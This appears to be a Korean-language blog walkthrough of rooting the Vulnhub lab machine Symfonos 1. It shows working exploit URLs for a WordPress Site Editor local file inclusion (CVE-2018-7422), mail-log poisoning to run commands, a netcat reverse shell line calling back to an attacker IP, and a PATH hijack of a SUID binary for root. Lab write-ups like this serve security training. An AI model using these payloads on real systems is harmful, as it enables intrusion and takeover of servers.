Vulnhub

[Vulnhub] Symfonos Walkthrough

jeff_kim 2024. 7. 3. 18:57

https://www.vulnhub.com/entry/symfonos-1,322/

 

symfonos: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

실습 환경 : VirtualBox

 

실습 전에  칼리에서 /etc/hosts 파일에 대상 호스트IP와 symfonos.local를 추가해주었습니다

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetAll

Nmap scan report for 192.168.45.166
Host is up (0.00032s latency).
MAC Address: 08:00:27:A6:F8:74 (Oracle VirtualBox virtual NIC)

└─$ cat ./recon/targetAll.nmap | grep '166' | cut -d '(' -f 2 | tr -d ')'
192.168.45.166

 

SSH

SSH 로그인 시도했을 떄 별다른 특이사항 없음

 

 

SMTP

 

 

WEB

직접 접속한다

페이지 소스 및 robots.txt는 별다른 특이사항 없음

 

gobuster를 이용한 디렉터리 브루트포싱 진행

디렉터리 브루트포싱에서도 큰 힌트를 얻지 못함. 일단 smb 정보 수집도 진행한 후에 다시 종합해서 취약점을 찾는다

 

 

SMB

 

enum4linux를 이용한 정보 수집

anonymous 세션 접근 가능

NULL share 사용, 비밀번호 정책에 대한 정보

 

helios 유저 사용 가능

 

 

anonymous share 접근 가능

# passwords information

epidioko
qwerty
baseball

# found credentials

helios:qwerty

/h3l105 경로에 대한 정보 획득

 

 

 

Vulnerability

숨겨진 경로에 wordpress를 운영중인 것으로 확인

wpscan을 이용하여 취약점 진단

└─$ sudo wpscan --url http://symfonos.local/h3l105/  --enumerate p, vp, ap, u | tee ./vuln/wpscan_res

admin 유저 정보

 

플러그인 정보 획득

 

searchsploit을 이용해 취약점을 찾아본다

두 플러그인 모두 취약점이 존재하는 것으로 확인

 

Exploitation

wordpress site editor 1.1.1 의 LFI 취약점을 이용하여 진행

CVE-2018-7422 공개 취약점 코드를 가지고 있다

└─$ searchsploit -m 44340 .


** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd



# Exploit
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

 

postfix가 있는 것을 확인 smtp를 이용하여 대상 호스트로 침투 한다

 

nc 명령어를 이용하여 smtp 서버에 접근

helios 유저에게 메일을 보내고 /var/mail/helios 에서 확인해본다

 

# exploit
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios

정상적으로 메일이 간것을 확인했다.

그렇다면 php 코드가 들어갔을 테니 익스플로잇 코드 마지막 부분에 이미 ?ajax_path= 파라미터가 있으니 

추가적인 파라미터를 사용하기 위해서 &cmd= 를 붙여서 사용한다

 

익스플로잇 성공

이후 리버스 쉘을 얻기 위해서 코드 하나를 작성해서 넣는다 

revshells.com 사이트를 참고해 nc 명령어를 이용한다

# reverse shell listening
└─$ nc -nlvp 7777             
listening on [any] 7777 ...



?ajax_path=/var/mail/helios&cmd=nc 192.168.45.219 7777 -e /bin/bash

 

 

Priviliege Escalation

wp-config.php

 

SUID binary 

helios@symfonos:/var/www/html/h3l105$ file /opt/statuscheck
file /opt/statuscheck
/opt/statuscheck: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4dc315d863d033acbe07b2bfc6b5b2e72406bea4, not stripped

ELF 파일이고,,

curl에 대한 것이 적혀있다

 

1. curl 이름을 가진 파일을 만들어준다

2. curl 파일에 setuid 설정을 해준다

3. 작업 디렉터리는 /tmp 인데 /opt/statuscheck은 curl 명령어를 실행하는 듯 하니, curl을 환경변수 설정을 해준다

 

/tmp 디렉터리 자체에 환경 변수 처리를 했으니 어디서든지 실행이 가능해진다

 

다시 한번 suid 설정된 바이너리를 실행해본다

 

권한 상승 완료

 

        Congrats on rooting symfonos:1!

                 \ __
--==/////////////[})))==*
                 / \ '          ,|
                    `\`\      //|                             ,|
                      \ `\  //,/'                           -~ |
   )             _-~~~\  |/ / |'|                       _-~  / ,
  ((            /' )   | \ / /'/                    _-~   _/_-~|
 (((            ;  /`  ' )/ /''                 _ -~     _-~ ,/'
 ) ))           `~~\   `\\/'/|'           __--~~__--\ _-~  _/, 
((( ))            / ~~    \ /~      __--~~  --~~  __/~  _-~ /
 ((\~\           |    )   | '      /        __--~~  \-~~ _-~
    `\(\    __--(   _/    |'\     /     --~~   __--~' _-~ ~|
     (  ((~~   __-~        \~\   /     ___---~~  ~~\~~__--~ 
      ~~\~~~~~~   `\-~      \~\ /           __--~~~'~~/
                   ;\ __.-~  ~-/      ~~~~~__\__---~~ _..--._
                   ;;;;;;;;'  /      ---~~~/_.-----.-~  _.._ ~\     
                  ;;;;;;;'   /      ----~~/         `\,~    `\ \        
                  ;;;;'     (      ---~~/         `:::|       `\\.      
                  |'  _      `----~~~~'      /      `:|        ()))),      
            ______/\/~    |                 /        /         (((((())  
          /~;;.____/;;'  /          ___.---(   `;;;/             )))'`))
         / //  _;______;'------~~~~~    |;;/\    /                ((   ( 
        //  \ \                        /  |  \;;,\                 `   
       (<_    \ \                    /',/-----'  _> 
        \_|     \\_                 //~;~~~~~~~~~ 
                 \_|               (,~~   
                                    \~\
                                     ~~

        Contact me via Twitter @zayotic to give feedback!